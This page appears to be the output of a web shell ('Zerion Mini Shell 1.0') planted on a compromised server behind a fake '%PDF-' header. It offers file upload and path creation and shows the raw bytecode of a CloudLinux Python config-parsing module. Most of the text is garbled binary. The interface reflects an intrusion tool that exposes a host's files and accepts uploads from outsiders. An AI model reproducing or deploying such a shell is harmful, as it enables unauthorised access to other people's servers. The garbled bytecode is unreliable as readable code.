%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib/python3.7/site-packages/clcommon/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib/python3.7/site-packages/clcommon/__pycache__/clconfpars.cpython-37.pyc

B

`�1b��@s�ddlmZddlmZddlmZddlZddlZddlZddlmZm	Z	ddl
mZddlZGdd�de
�ZGd	d
�d
e
�ZdZdd
d�Zd dd�ZiZd!dd�Zd"dd�Zdd�Zdd�Zeddddg�Zdd�ZdS)#�)�absolute_import)�division)�print_functionN)�groupby�filterfalse)�
namedtuplec@seZdZdd�ZdS)�WebConfigParsingErrorcCs
||_dS)N)�message)�selfr	�r�D/opt/alt/python37/lib/python3.7/site-packages/clcommon/clconfpars.py�__init__szWebConfigParsingError.__init__N)�__name__�
__module__�__qualname__r
rrrrrsrc@seZdZdd�ZdS)�WebConfigMissingcCs
||_dS)N)r	)r
r	rrrr
szWebConfigMissing.__init__N)rrrr
rrrrrsrZasectionFc	Cs�tjdddd�}|rt|_|rJt|d��}|���t��d�}WdQRXnt|d��}|��}WdQRX|j	dt
�d�||d	�t|jt
d
��S)NTF)Zallow_no_valueZ
interpolation�strict�rb�replace�r�[z]
)�source)Zsection)
�configparserZConfigParser�strZoptionxform�open�read�decode�locale�getpreferredencodingZread_string�SECHEAD�dict�items)�path�case_sensitiveZignore_bad_encodingZconfig�f�rawrrr�load"s r&c
Cslt�}t|ddd��N}xF|����D]6}y|�dd�\}}|||<Wq$tk
rXYq$Xq$WWdQRX|S)Nr�surrogateescape)�errors�=�)r rr�
splitlines�split�
ValueError)r"r#�datar$�line�key�valuerrr�	load_fast2sr2cCshyt|}WnVtk
rbyt|�}t|<Wn,ttjfk
r\|sL�i}t|<YnXYnX|S)zD
    Read ini file once (cached) and return its content as dict
    )�cache�KeyErrorr&�IOErrorr�Error)r"�
ignore_errorsZresrrr�	load_once?sr8c
Cs�|s|d}t|d�}t|d�}g}xv|D]n}|��}|r�|�d�s�|�dd�\}}	|��}||kr�|�|dt||�d�|�|�q*|�|�q*W|��x:t|�	��D]*}||kr�|�|dt||�d�q�W|��t
�||�dS)Nz.tmpr�w�#r)r*�
)r�strip�
startswithr,�writer�append�close�list�keys�os�rename)
r r"Ztmp_pathZfinZfoutZ	used_keysr/�lr0r1rrr�change_settingsOs*



"rFc
	Cs0tj�|�std|��t|d��}|����}WdQRXdd�|D�}tdd�|�}dd�t|d	d��D�}g}x�|D]�}d
d
dd�}yrxl|D]d}	|	�	d�r�|	�
dd
���|d
<q�|	�	d�r�|	�
dd
��d�d��|d<q�|	�	d�r�d|	k|d<q�WWn"t
k
�rtd|��YqxX|�|�qxW|S)NzFile does not exists %srcSsg|]}|���d��qS)�;)r<�rstrip)�.0rrrr�
<listcomp>msz%nginx_conf_parser.<locals>.<listcomp>cSs|dkp|�d�S)N�r:)r=)rrrr�<lambda>n�z#nginx_conf_parser.<locals>.<lambda>css|]\}}|s|VqdS)Nr)rI�_�grouprrr�	<genexpr>osz$nginx_conf_parser.<locals>.<genexpr>cSs|��dkS)NZserver)r<)�xrrrrLorMrK)�server_name�
document_root�sslzroot rSzserver_name � rrRzlisten rTzBad file format in %s)rCr"�isfilerrrr+rrr=rr<r,�
IndexErrorrr?)
�	conf_filer$Z
dirty_dataZ
data_strippedZ	data_pureZdata_groupedZvhostsZserver_groupZserver_info�rowrrr�nginx_conf_parsergs,



 
rZcCs&tj�|�std|��t�}t|d�}|��}|��dd�|D�}d}d}i}g}x�t|�dk�r|�	d�}	d|	kr�|	�
�d}
d	}y|
�
d
�\}}|�dd�}Wntk
r�|
}YnX|�
|�|�
|�d
}qXd|	kr�|||<|d7}d}g}qX|rX|�
|	�qXqXW�x|D�]}
ddddt||
d�dd�}x�||
D]�}d|k�rt|�
�d���dd�|d<�qFd|k�r�|�
�d��|d<�qFd|k�r�d�dd�|�
�dd�D��|d<�qFd|k�r�|�
�d��|d<d|k�rF|�
�d����dk|d<�qFW|�
|��qW|S)NzFile does not exists %srcSsg|]}t�d|�r|�qS)z^((?!#).)*$)�re�search)rI�irrrrJ�sz&apache_conf_parser.<locals>.<listcomp>rFz<VirtualHostr*�0�:�>rKTz</VirtualHost>)�userrRrS�server_alias�portrTZ
ServerNamezwww.rRZDocumentRootrSZServerAlias�,css|]}t|�VqdS)N)r)rI�nrrrrP�sz%apache_conf_parser.<locals>.<genexpr>rbZSuexecUserGroupraZ	SSLEngineZonrT)rCr"rVrrAr�	readlinesr@�len�popr,rr-r?�intr<�join�lower)rXZ	conf_datar$Zdata_allr.ZIDZenable�resultZvhost�outZip_portrcZipr]r/rrr�apache_conf_parser�sr








$

"rn�	PamLVECfg�min_uid�cagefs_enabled�groupsc	Cs�t|d���}x�|D]�}|�d�r"q|��}t|�}|dkr|ddkr|dkrZt|d�nd}|dkrvtt|d��nd	}|d
kr�|d�d�ndg}t|||�SqWWd
QRXd
S)aD
    Parse string like:
    "session      required      pam_lve.so      500      1     group1,group2"
    :param configfile: path to config file to parse
    :type configfile: str
    :return: PamLVECfg instance when pam_lve configuratiom is found, None otherwise
    :rtype: namedtuple
    :raises: IOError, ValueError
    rr:��z
pam_lve.so�i��F�rdZwheelN)rr=r,rgri�boolro)Z
configfiler$r/�srErprqrrrrr�parse_pam_lve_config�s


rz)FF)F)F)N)Z
__future__rrrrrCr[�	itertoolsrr�collectionsrr�	Exceptionrrrr&r2r3r8rFrZrnrorzrrrr�<module>	s(



I

Zerion Mini Shell 1.0